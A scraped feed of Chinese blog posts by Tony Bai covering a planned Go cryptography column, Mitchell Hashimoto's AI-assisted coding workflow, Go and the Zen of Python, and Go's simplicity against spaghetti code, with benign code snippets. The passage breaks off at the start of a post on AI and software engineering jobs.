握手时，那神奇的密钥交换究竟是如何在不安全的网络上发生的？ 同样是哈希，为什么存密码要用 bcrypt，而校验文件却用 SHA-256？ Go 标准库 crypto 中那些设计精良的接口，背后蕴含着怎样的安全哲学？ 这些“为什么”的背后，隐藏着从一个“能用”的开发者到“精通”的工程师之间的关键差距。如果你也曾对这些问题感到好奇，那么，这个新微专栏就是为你准备的。我将启动一个全新的微专栏——《Go密码学101通关实战》。\n这不仅仅是一个“How-to”教程。我们将以密码学经典问题为导向，以Go语言强大且设计精良的标准库 crypto 及扩展库 golang.org/x/crypto 为实践武器，开启一段为期 7 篇文章的探索之旅。\n我们的目标，是系统性地、一层层地揭开现代密码学工程的神秘面纱，让你不仅知其然，更知其所以然。\n我们的 7 步通关地图\n这是一个精心设计的、从基础构件到高级应用的完整学习路径：\n第一站：万物之始 (XOR) 我们将从最简单的位运算出发，窥探加密与解密的本质，理解“一次性密码本”的理论完美与实践缺陷。\n第二站：信任基石 (哈希与 HMAC) 学习如何为数据打上不可伪造的“数字指纹”，同时保证其完整性与真实性。\n第三站：对称加密核心 (AES) 深入当今应用最广泛的对称加密标准，并掌握其多种工作模式（如 CBC、CTR）的利弊与选择。\n第四站：密钥交换魔法 (RSA \u0026amp; ECDH) 解开“鸡生蛋”的死循环，探索如何在公开信道上，凭空协商出一个共享的秘密。\n第五站：现代加密黄金标准 (AES-GCM) 拥抱认证加密（AEAD），学习如何一步到位地同时解决保密性、完整性与真实性三大难题。\n第六站：验明正身 (数字签名) 掌握数字世界的“亲笔签名”，为你的数据和身份赋予不可否认的法律效力。\n终极实战：安全密码存储 (bcrypt) 将所学融会贯通，解决日常开发中最常见的安全痛点——如何正确地存储用户密码，抵御暴力破解。\n每篇文章都将包含可直接运行的 Go 代码示例和详尽的说明。在这个专栏的结尾，你将有能力充满信心地为你的应用设计和实现一套完整的、符合现代标准的安全方案。\n旅程，现在开始。欢迎订阅关注，让我们一起出发！\n第一篇《【Go密码学101】01 启蒙：XOR、加密的本质及其在现代密码学中的不朽地位》，已发布，欢迎订阅阅读。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/21/go-crypto-101/","summary":"\u003ch1 id=\"解密-go-安全核心7-步掌握现代密码学工程---tony-bai\"\u003e解密 Go 安全核心：7 步掌握现代密码学工程 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"解密 Go 安全核心：7 步掌握现代密码学工程"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/20/mitchell-hashimoto-agentic-engineering\n大家好，我是Tony Bai。\n在云计算Infra和云原生工程领域，Mitchell Hashimoto 是一个如雷贯耳的名字。作为 HashiCorp 的创始人，他一手打造了 Terraform、Vagrant、Consul 等一系列定义了现代 DevOps 和基础设施即代码（IaC）的工具。如今，这位大师级程序员正在开发他的新项目——一个用小众语言 Zig 编写的高性能终端模拟器 Ghostty。\n最令人关注的是，在开发这样一个严肃、底层的系统软件时，Mitchell 正深度使用 AI Agent 来辅助编程。这并非简单的 Web 应用开发，而是对 AI 赋能开发在“硬核”场景下的终极考验。\n最近，我有幸读到一篇对 Mitchell 的深度访谈，其中详细阐述了他的 Agentic Engineering 实战心法。这些经验并非空谈理论，而是充满了可以直接应用的、来自一线的真知灼见。今天，我想把这些宝贵的“干货”分享给你。\n核心哲学：“我是架构师，AI 是初级工程师” 当被问及如何使用 AI 时，Mitchell 提出的核心理念，足以给当下狂热的“AI 全自动编程”思潮泼上一盆冷水：\n“我感觉自己更像是软件项目的架构师。我仍然会构思代码的结构、应用的数据流、状态的存放位置等。我将这些指导信息提供给 AI 工具……我发现这能带来最大的成功。”\n他从不直接向 AI 抛出一个模糊的问题，比如“修复这个 Bug”。相反，他会在脑中构思好解决方案的“形状”（Shape），然后将 AI 视为一个初级工程师来分配任务。\n他用了一个绝妙的比喻：给 AI 派任务，就像带一个初级工程师，你需要提供清晰的范围和明确的“护栏”（guardrails），就像给保龄球道装上保险杠，确保球能击中目标。\n这种“人机协作”的模式，并非对 AI 的不信任，而是一种深刻的工程智慧：将开发者的精力从“如何实现”的繁琐细节中解放出来，聚焦于“应该怎样实现”的顶层设计。\nAI 的“甜点”与“禁区”：知其长，避其短 要成为 AI 的“架构师”，首先要清晰地认知 AI 这个“初级工程师”的能力边界。Mitchell 在访谈中分享了他眼中 AI 的“甜点区”与“禁区”。\nAI 的“甜点”（可以大胆授权） 代码重构：提炼函数、重命名、调整代码结构等机械性工作。Mitchell 的评价是：“我几乎不用给任何修改意见，它总是做得很完美。”\nUI 复刻：这是一个杀手级应用。他曾直接给 AI 一张 Zed 编辑器命令面板的截图，让它用 Swift UI 复刻出来。Ghostty 的这个功能，其视图部分 90% 以上都是 AI 直接从截图生成的。\n注释维护（一个反直觉的惊喜）：在传统观念里，“好的代码应自解释，无需过多注释”。但 Mitchell 的做法恰恰相反，他推崇重度注释：“我做每件事都做两遍：一次用代码，一次用英语。如果注释和代码不匹配，那说明有一方是错的。” 在 AI 时代，这种看似“冗余”的习惯发挥出了惊人的价值：\n* **提供上下文**：丰富的注释是 AI Agent 理解代码意图的最佳养料。 * **成为“校验和”**：AI 能通过对比代码和注释的不一致，发现潜在的 bug 或过时的文档。 * **跨文件洞察**：最令人惊叹的是，AI 能在一个文件的修改后，发现另一个完全不相干的文件里，有一行相关的注释变得不准确了——这是人类代码审查时极易忽略的盲点。 在 Mitchell 的工作流中，注释不再仅仅是文档，它升级成为了人与 AI 高效协作的“接口协议”。\nAI 的“禁区”（需要人工接管） 高层架构设计：AI 无法进行有远见的顶层设计。 复杂的、定制化的高性能数据结构：AI 不理解性能约束。Mitchell 举了 Ghostty 的例子，为了极致的性能和缓存亲和性，他们设计了基于虚拟内存页和 16 位偏移指针的复杂数据结构。“没有任何一个 LLM 能理解这里面发生了什么”。 小众语言（如 Zig）的熟练编写：由于训练数据不足，AI 编写 Zig 代码时举步维艰。他的变通方法是：让 AI 用它擅长的语言（如 C 或 Rust）生成逻辑，然后自己手动移植到 Zig。 Mitchell 的实战工作流：一套大师级的“组合拳” 除了哲学思想，Mitchell 还分享了一系列具体、可操作的战术，堪称一套大师级的“组合拳”。\n并行竞赛：为同一个任务，在多个代码库副本上（ghosty, ghosty2, ghosty3…）同时运行不同的 AI 模型（Claude, Gemini 等），然后选择做得最好的那个。他开玩笑说：“你可以让它们‘战斗至死’，这是对机器才能做的事。”\n“Jiu-Jitsu 快照”：他使用 Jiu-Jitsu（一个现代化的 Git 替代品）的版本快照功能。当 AI 走错路时，他会直接回滚到上一个状态，然后给出新的、更精确的指令，而不是让 AI “撤销”或“重试”，这样更干净、更可控。\n人机并行工作：在 AI “思考”时，他从不干等。他会利用这段时间去做更需要人类智慧的工作，比如对上一个版本进行 QA 测试，或者观看 WWDC 视频学习新技术。这实现了人机效率的最大化。\n“复制-粘贴式”重构法：这是一个他坚持了十多年的习惯，在 AI 时代变得尤为强大。重构时，他会先复制旧的实现，在新副本上进行修改，让新旧两版代码在项目中并存，直到新的版本完全就绪。这样做能为 AI 提供极其清晰的“before”和“after”上下文，让 AI 更准确地理解重构的意图和模式。\n结论：重新定义“高效”，而非放弃思考 听完 Mitchell 的分享，我最大的感触是：Agentic Engineering 不是为了“偷懒”，而是为了重新定义“高效”。\n它将开发者从繁琐、重复的劳动中解放出来，让我们能将宝贵的精力聚焦于架构设计、性能调优、代码审查这些真正体现工程师价值的创造性工作上。它不是要替代我们，而是要成为放大我们能力的杠杆。\n最后，我想用 Mitchell 的一句话来结尾，以此回应那些对 AI 效果感到失望的人：\n“你用过什么新工具是让你立刻就变快的吗？”\n无论是学习一门新语言，还是切换到一个新的版本控制系统，我们总要经历一段学习和适应的阵痛期。AI 也不例外。\n我们需要学习的，是如何成为一名优秀的“架构师”，去引导和驾驭我们手下这位不知疲倦、潜力无限的“初级工程师”。这，或许就是 AI 时代对我们所有开发者提出的新要求。\n原视频链接：https://www.youtube.com/watch?v=XyQ4ZTS5dGw\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/20/mitchell-hashimoto-agentic-engineering/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/mitchell-hashimoto-agentic-engineering-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/20/mitchell-hashimoto-agentic-engineering\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/20/mitchell-hashimoto-agentic-engineering\"\u003ehttps://tonybai.com/2025/07/20/mitchell-hashimoto-agentic-engineering\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在云计算Infra和云原生工程领域，Mitchell Hashimoto 是一个如雷贯耳的名字。作为 HashiCorp 的创始人，他一手打造了 Terraform、Vagrant、Consul 等一系列定义了现代 DevOps 和基础设施即代码（IaC）的工具。如今，这位大师级程序员正在开发他的新项目——一个用小众语言 Zig 编写的高性能终端模拟器 Ghostty。\u003c/p\u003e","title":"HashiCorp创始人Mitchell Hashimoto 的 Agentic Engineering 实战心法"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/19/go-understand-the-zen-of-python-better-than-python\n大家好，我是Tony Bai。\n最近，在国外的 Go 语言社区（Reddit r/golang）上，一个帖子引发了热烈的讨论。标题颇具“引战”意味：“Go似乎比Python更好地实现了Python之禅”。\n这听起来像个悖论，甚至有点冒犯。用一个语言的哲学去评判另一个语言，就像用“太极”的理念去评价“咏春”，似乎风马牛不相及。但仔细看完社区的讨论，你会发现这并非无稽之谈，反而是一个极其刁钻又深刻的视角，能帮助我们重新审视 Go 语言设计的底层逻辑。\n作为一名在 Go 的世界里摸爬滚打了多年的老 Gopher，我也不止一次有过类似的感觉。今天，我们就借着这场社区热议，一起聊聊这个有趣的话题。\n重温“Python之禅” 首先，让我们重温一下那首著名的“Python之禅”（The Zen of Python）。在任何一个 Python 解释器里输入 import this，你都能看到它：\nThe Zen of Python, by Tim Peters Python之禅，作者：蒂姆·彼得斯 Beautiful is better than ugly. 优美优于丑陋。 Explicit is better than implicit. 显式优于隐式。 Simple is better than complex. 简单优于复杂。 Complex is better than complicated. 复杂优于繁杂。 Flat is better than nested. 扁平优于嵌套。 Sparse is better than dense. 稀疏优于密集。 Readability counts. 可读性至关重要。 Special cases aren\u0026#39;t special enough to break the rules. 特例不足以特殊到足以打破规则。 Although practicality beats purity. 虽然实用性胜过纯粹性。 Errors should never pass silently. 错误绝不能悄无声息地被忽略。 Unless explicitly silenced. 除非显式地使其沉默。 In the face of ambiguity, refuse the temptation to guess. 面对歧义，拒绝猜测的诱惑。 There should be one-- and preferably only one --obvious way to do it. 应该有且最好只有一种显而易见的实现方式。 Although that way may not be obvious at first unless you\u0026#39;re Dutch. 虽然这种方式一开始可能并不那么明显，除非你是荷兰人。 Now is better than never. 现在优于永不。 Although never is often better than right now. 虽然，永不去做常常比“马上”动手要好。 If the implementation is hard to explain, it\u0026#39;s a bad idea. 如果实现很难解释，那么它是个坏主意。 If the implementation is easy to explain, it may be a good idea. 如果实现很容易解释，那么它可能是个好主意。 Namespaces are one honking great idea -- let\u0026#39;s do more of those! 命名空间是个绝妙的主意——让我们多多地使用它吧！ 这不仅仅是代码风格指南，更是一种编程哲学的宣言。而奇妙的是，当我们手握 Go 这把锤子时，会发现很多钉子恰好就是按照这份宣言的图纸来设计的。\n“显式优于隐式”：Go 的灵魂，Python 的妥协 这是“Python之禅”中最核心的信条之一，也是 Go 语言最引以为傲（或被吐槽）的特征所在。\n想想 Go 语言里最经典的 if err != nil。新手可能会觉得它繁琐、重复，破坏了代码的流畅性。但在经验丰富的工程师眼中，这正是“显式”的极致体现。每一次函数调用，你都被迫直面其可能失败的现实，错误处理的路径清晰得如同一条直线，没有任何隐藏的控制流跳跃。\n相比之下，Python 的 try…except 机制虽然优雅，却在某种程度上是“隐式”的。一个 try 代码块里可能有多行代码，任何一行都可能抛出异常，然后被远处的某个 except 捕获。这使得控制流变得不再那么一目了然。一位 Reddit 用户评论说：“自从我见过那些数据科学代码后，‘显式优于隐式’这条让我笑出了声。” 这虽然是句玩笑，却精准地指出了在复杂项目中，隐式处理可能带来的维护难题。\nGo 通过把错误（error）设计成普通的值，而不是一个特殊的控制流机制，完美践行了“显式优于隐式”的原则。它是你必须亲手处理的返回值，而不是可以被忽略的“天外来客”。\n“简单优于复杂”：Go 的克制与执拗 Go 语言的设计者们（Rob Pike, Ken Thompson 等）深受 Unix 哲学的影响，对“简单”有着近乎偏执的追求。\n语法克制：Go 只有一个循环关键字 for，没有 while 或 do-while。它没有类和继承，取而代之的是更纯粹的组合与接口。并发模型也异常简单——go 关键字启动一个 goroutine，chan 进行通信，大道至简。 工具统一：gofmt 的存在，终结了所有关于代码格式的“圣战”。它体现了“Python之禅”中的另一条原则：“应该有且最好只有一种显而易见的实现方式”。在 Go 的世界里，代码风格不是一个需要讨论的问题，这极大地降低了团队协作的认知负荷。 反观 Python，随着其生态的繁荣和应用领域的扩张，语言本身不可避免地变得越来越复杂。从最初与 Perl、PHP 竞争的简洁脚本语言，到如今涵盖 Web 开发、数据科学、AI 的庞然大物，它引入了 async/await、复杂的元编程能力等。这并非坏事，而是语言成熟和演化的必然结果。但与诞生之初就目标明确（解决 Google 内部大规模工程问题）的 Go 相比，Python 在“保持简单”这条路上，显然背负了更沉重的历史包袱。\n客观看待：Go 的“禅意”并非没有代价 当然，我们不能一边倒地吹捧。Reddit 的讨论中也充满了理性的声音。Go 为了实现这种“禅意”，也付出了相应的代价。\n“优美优于丑陋”（Beautiful is better than ugly）：美是主观的。很多人认为 Go 的语法过于朴素，if err != nil 更是“丑陋”的代名词。但正如一位评论者所言：“我喜欢它，正是因为它在美学上很中庸（aesthetically mid）。” Go 的美，更多是一种“工程之美”，是结构清晰、易于维护、性能可靠的美，而非语法糖堆砌出的“华丽之美”。 “模板代码”（Boilerplate）：Go 的“显式”和“简单”，直接导致了更多的模板代码。这是为了可读性和可维护性做出的权衡。社区也意识到了这一点，因此 Go 在泛型等方面的引入，以及强大的代码生成工具生态，都是在弥补这一“短板”。 小结：源于血脉的哲学共鸣 那么，为什么 Go 会比它的“老师” Python 更像一个“禅宗信徒”呢？\n答案可能在它的“血脉”里。Go 的设计者们是创造了 C 语言、Unix 和 UTF-8 的传奇人物。他们骨子里流淌的是系统编程的血液，追求的是在数十、上百乃至上千工程师协作的大型项目中，如何保证代码的长期可读性、可维护性和稳定性。\n这种背景决定了 Go 的设计哲学必然倾向于：明确、简单、组合、正交。\n它不追求用最少的代码行数表达最复杂的逻辑（那是 Python 的强项），而是追求让任何一个中等水平的工程师都能在最短时间内读懂并安全地修改代码。\n从这个角度看，Go 并非“碰巧”契合了“Python之禅”，而是它的核心设计目标——工程化与可维护性——恰好与“Python之禅”所倡导的清晰与简洁产生了深刻的共鸣。可以说，Go 是在用一种更底层、更工程化的方式，对“Python之禅”进行了重新演绎。\n所以，回到最初的问题：“Go 比 Python 更懂‘Python之禅’吗？”\n或许，更准确的说法是：Go，在它所专注的领域里，以一种更为决绝和纯粹的方式，活成了“Python之禅”希望的样子。\n对此，你怎么看？欢迎在评论区留下你的想法。\n资料链接：https://www.reddit.com/r/golang/comments/1m302i6/go_seems_to_accomplish_the_zen_of_python_way\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/19/go-understand-the-zen-of-python-better-than-python/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-understand-the-zen-of-python-better-than-python-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/19/go-understand-the-zen-of-python-better-than-python\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/19/go-understand-the-zen-of-python-better-than-python\"\u003ehttps://tonybai.com/2025/07/19/go-understand-the-zen-of-python-better-than-python\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近，在国外的 Go 语言社区（Reddit r/golang）上，一个帖子引发了热烈的讨论。标题颇具“引战”意味：“\u003ca href=\"https://www.reddit.com/r/golang/comments/1m302i6/go_seems_to_accomplish_the_zen_of_python_way/\"\u003eGo似乎比Python更好地实现了Python之禅\u003c/a\u003e”。\u003c/p\u003e","title":"Go 比 Python 更懂“Python 之禅”？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/16/when-spaghetti-code-knocks\n大家好，我是Tony Bai。\n最近，在网上看到一张关于编程语言的 Meme 图，它以一种黑色幽默的方式，精准地描绘了我们软件开发中一个永恒的敌人，以及 Go 语言那与众不同的应对之道。\n在这张图中，一个名为“面条代码 (Spaghetti Code)”的恐怖死神，手持镰刀，一路“收割”。C++ 的门敞开着，流出鲜血；Java 的门也未能幸免；甚至以安全著称的 Rust，门上同样血迹斑斑。当死神狞笑着敲开 Go 的大门时，它迎来的不是束手就擒的羔羊，而是一个手持“简洁 (Simplicity)”大棒、严阵以待的 Gopher。\n这张图不仅仅是个有趣的段子，它几乎完美地诠释了 Go 语言的设计哲学和生存之道。今天，我们就来深入解构这张图：这个名为“面条代码”的死神究竟是什么？为什么连 C++、Java 和 Rust 都难以抵挡？以及，Go 手中的“简洁之棒”，到底有多大威力？\n门后的敌人：什么是“面条代码”？ “面条代码”是一个非常形象的术语，用来描述那些结构混乱、难以理解和维护的代码。就像一碗意大利面，所有的面条都缠绕在一起，你很难理清任何一根面条的来龙去脉。\n其技术特征通常包括：\n高耦合、低内聚： 模块之间盘根错节，互相依赖，而模块内部的功能却分散混乱。\n复杂的控制流： 代码的执行路径像迷宫一样，充满了深层嵌套、隐式跳转和复杂的条件判断。\n滥用继承和全局状态： 过深的继承层次和随处可见的全局变量，使得任何一个微小的改动都可能引发雪崩式的连锁反应。\n“面条代码”是所有项目的噩梦，它会让 bug 修复变得像拆弹，让功能迭代举步维艰。\n走廊里的倒下者：为什么它们如此脆弱？ Meme 中，死神轻松地“收割”了 C++、Java 甚至 Rust。这并非是说这些语言不好，恰恰相反，是因为它们太强大、太灵活了，以至于为“面条代码”的滋生提供了肥沃的土壤。\n1. C++ \u0026amp; Java：强大的抽象带来的“继承面条”与“模式面条”\n它们强大的面向对象特性，如复杂的继承层次、多态、以及各种“企业级”设计模式，在带来灵活性的同时也打开了潘多拉的魔盒。\n一个典型的 Java “模式面条”可能长这样：\n// 一个看似“设计良好”的支付服务 @Component public class PaymentServiceImpl implements PaymentService { @Autowired private ValidatorFactory validatorFactory; @Autowired @Qualifier(\u0026#34;creditCardProcessor\u0026#34;) private PaymentProcessor creditCardProcessor; @Override public Response processPayment(Request request) { // ... 一系列复杂的调用和“魔法”注入 Validator validator = validatorFactory.getValidator(request.getType()); validator.validate(request); // ... return creditCardProcessor.process(request); } } 这段代码的背后，是 Spring 框架通过注解实现的庞大依赖注入网络。程序的控制流不再是清晰的线性调用，而是被框架的“魔法”所接管，一旦出现问题，调试起来极其困难。\n2. Rust：“为编译器而战”催生的“生命周期面条”\n将 Rust 列为受害者，可能会引起争议。Rust 的所有权和借用检查器，确实能从根本上杜绝内存安全问题。但正是这种严格的约束，在某些复杂场景下，可能会迫使开发者写出为了“通过编译”而扭曲的、难以理解的代码。\n比如，当处理复杂的数据结构和引用时，你可能会看到这样的“生命周期面条”：\n// 一个为了满足借用检查器而变得复杂的函数签名 fn process_data\u0026lt;\u0026#39;a, \u0026#39;b, \u0026#39;c\u0026gt;( config: \u0026amp;\u0026#39;a Config, data: \u0026amp;\u0026#39;b mut Data\u0026lt;\u0026#39;c\u0026gt;, ) -\u0026gt; Result\u0026lt;\u0026amp;\u0026#39;b str, Error\u0026gt; where \u0026#39;a: \u0026#39;b, \u0026#39;c: \u0026#39;b { // ... 一系列为了摆平生命周期而进行的复杂操作 // ... 这段代码逻辑上可能很简单，但类型签名却极其复杂 } 这种代码虽然内存安全，但其认知负荷极高，新成员很难快速理解和维护。\nGopher 的武器：挥舞“简洁之棒”的五种招式 当“面条代码”的死神来到 Go 的门前，它发现这里没有复杂的继承、没有隐式的框架魔法、也没有纠结的生命周期。Gopher 手中的“简洁之棒”，是一套组合拳，招招打在“面条代码”的要害上。\n第一式：拥抱小接口\nGo 的接口是隐式实现的。这鼓励开发者定义小的、职责单一的接口。一个函数不应该依赖一个庞大的具体实现，而应该依赖它所需要的最小行为。\n// \u0026#34;面条\u0026#34;代码：依赖具体的文件类型 func processFile(f *os.File) { /* ... */ } // \u0026#34;简洁\u0026#34;代码：依赖 io.Reader 接口，更通用，更易测试 func processData(r io.Reader) { /* ... */ } 第二式：拒绝深层嵌套\nGo 强制的 if err != nil 显式错误处理，杜绝了异常带来的隐式控制流。配合“前置守卫 (Guard Clauses)”的编码风格，可以让代码路径保持线性，避免“右斜”的箭头型代码。\n// \u0026#34;面条\u0026#34;代码：深层嵌套 func process(p Params) error { if err := validate1(p); err == nil { if result, err := callService(p); err == nil { // ... 核心逻辑 } else { return err } } else { return err } return nil } // \u0026#34;简洁\u0026#34;代码：使用 Guard Clauses func process(p Params) error { if err := validate1(p); err != nil { return err } result, err := callService(p) if err != nil { return err } // ... 核心逻辑 return nil } 第三式：构建清晰的并发管道\n面对并发，Go 不鼓励使用复杂的锁和共享内存，而是提倡“通过通信来共享内存”。使用 Channel 可以将复杂的并发任务，拆解成流水线式的、易于推理的独立阶段。\n// 可能的\u0026#34;面条\u0026#34;代码：使用锁和共享状态，难以推理 var mu sync.Mutex var data []int // ... 多个 goroutine 通过 mu 来操作 data // \u0026#34;简洁\u0026#34;代码：使用 Channel 构建数据管道 func generator(done \u0026lt;-chan struct{}, nums ...int) \u0026lt;-chan int { /*...*/ } func square(done \u0026lt;-chan struct{}, in \u0026lt;-chan int) \u0026lt;-chan int { /*...*/ } // main 函数中将它们串联起来，清晰明了 第四式：善用包的边界\nGo 通过首字母的大小写来控制成员的可见性。这是一种简单而强大的封装机制，它强制开发者思考包与包之间的边界，防止内部实现细节泄露，从而避免了模块间的强耦合。\n第五式：相信 gofmt\nGo 将代码格式化提升到了语言工具链的层面。gofmt 结束了所有关于代码风格的“圣战”，让所有 Go 代码看起来都像一个人写的。这极大地降低了团队协作中的沟通成本和代码阅读的认知负荷。\n更深层次的战斗：对抗软件的“熵增定律” Meme 图背后的战斗，其实远超语言层面。软件系统就像一个孤立的物理系统，天然地趋向于无序和混乱，这就是**“软件的熵增定律”**。\n“面条代码”的死神，正是这一定律的化身。我们开发者，在日常工作中总在不自觉地为它敞开大门：\n功能的诱惑： 为了满足不断叠加的业务需求，我们倾向于“添加”代码，而不是“重构”。\n过早的抽象： 为了所谓的“未来扩展性”，引入了大量当前并不需要的复杂设计模式。\n简历驱动开发 (RDD)： 为了使用某个时髦的技术，而强行扭曲项目的设计。\nGo 语言及其社区文化，本质上是在倡导一种**“反熵增”的工程纪律**。它通过其简洁的设计，迫使我们时刻对复杂性保持警惕。Go 的谚语“A little copying is better than a little dependency”（一点点复制优于一点点依赖），正是对“过早抽象”的直接反击。\n小结：简洁，一种主动的防御 Meme 中的 Gopher 并非天生神力，它只是选择了一种更聪明的战斗方式。它没有选择用更复杂、更华丽的武器去和死神肉搏，而是用一把简单、坚固的“简洁之棒”，守住了自己的大门。\nGo 的简洁，不是功能的匮乏，而是一种经过深思熟虑的设计选择，是一种主动防御复杂性的强大武器。它从语言层面就大大提高了制造“面条代码”的门槛。\n对于我们所有工程师而言，无论使用何种语言，都应该从这张图中汲取智慧：成为那个手持大棒的 Gopher，时刻对不必要的复杂性说“不”。 这或许才是我们在软件开发这场持久战中，最终的生存之道。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/16/when-spaghetti-code-knocks/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/when-spaghetti-code-knocks-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/16/when-spaghetti-code-knocks\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/16/when-spaghetti-code-knocks\"\u003ehttps://tonybai.com/2025/07/16/when-spaghetti-code-knocks\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近，在网上看到一张关于编程语言的 Meme 图，它以一种黑色幽默的方式，精准地描绘了我们软件开发中一个永恒的敌人，以及 Go 语言那与众不同的应对之道。\u003c/p\u003e","title":"一张图读懂Go的生存之道：当“面条代码”来敲门"},{"content":"AI 正在重写“软件工程师”的岗位描述：未来你需要这 6 项核心技能 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nAI 正在重写“软件工程师”的岗位描述：未来你需要这 6 项核心技能 七月 15, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/07/15/the-agentic-software-engineer\n大家好，我是Tony Bai。\n最近，如果你和身边的程序员朋友聊天，很可能会感受到一丝寒意。是的，软件工程行业正在经历一个自 2008 年以来最冷的冬天。职位空缺大幅减少，大厂裁员的新闻不绝于耳。\n很多人将矛头指向了 AI：“是 AI 抢了我们的饭碗！”\n然而，一篇来自 DoltHub 的深刻文章《The Agentic Software 